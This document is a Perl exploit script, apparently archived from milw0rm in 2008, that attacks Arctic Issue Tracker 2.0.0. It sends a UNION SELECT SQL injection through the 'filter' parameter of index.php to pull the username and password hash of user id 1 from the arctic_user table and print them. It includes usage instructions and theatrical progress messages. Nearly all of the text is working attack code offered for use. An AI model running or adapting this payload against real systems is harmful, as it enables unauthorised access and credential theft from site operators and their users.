Arctic Issue Tracker 2.0.0 - 'filter' SQL Injection (2)

#!/usr/bin/perl

use IO::Socket;


print q{
-----------------------------------------------
Arctic Issue Tracker v2.0.0 exploit by ldma
              ~ SubCode ~
use: arctic.pl [server] [dir]
sample:
$perl arctic.pl localhost /arctic/
-----------------------------------------------

};

$webpage = $ARGV[0];
$directory = $ARGV[1];
print "+-initiating\n";
print "|--modules..OK!\n";
        sleep 1;
print "|--premodules..OK!\n";
        sleep 1;
print "|--preprocessors..OK!\n";
        sleep 1;
print "+-opening channel.. OK!\n";
        sleep 2;
print "--------------------------------------------\n";
print "~ configuration complete.. OK!\n";
print "~ scanning";
$|=1;
foreach (1..2) {
        print ".";
        sleep 1;
        }
print " OK!\n";
if (!$webpage) { die "\+ rtfm geek\n"; }

$wbb_dir =
"http://".$webpage.$directory."index.php?filter=-1%20union%20select%201,2,3,concat(username,0x3a,password),5%20from%20arctic_user%20where%20id=1--";

print "~ connecting";
$|=1;
foreach (1..1) {
        print ".";
        sleep 1;
        }
print " OK!\n";
$sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$webpage", PeerPort=>"80") || die "[+] Can't connect to Server\n";

print "~ open exploiting-tree";
$|=1;
foreach (1..2) {
        print ".";
        sleep 1;
        }
print " OK!\n";
print $sock "GET $wbb_dir HTTP/1.1\n";
print $sock "Accept: */*\n";
print $sock "User-Agent: Hacker\n";
print $sock "Host: $webpage\n";
print $sock "Connection: close\n\n";
print "[+] Target: $webpage\n";
while ($answer = <$sock>) {
if ($answer =~ /Current Filter: <strong>(.*)<\/strong>/) {
print "exploiting in progress";
$|=1;
foreach (1..3) {
        print "...";
        sleep 1;
        }


print "OK!\n[+] vuln: OK!\n\n\nwell done, ldma!\n\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "[+] USER-ID: -1\n";
print "[+] ID-HASH: $1\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
exit();
}
}

close($sock);

# ldma[2008-07-19]

# milw0rm.com [2008-07-21]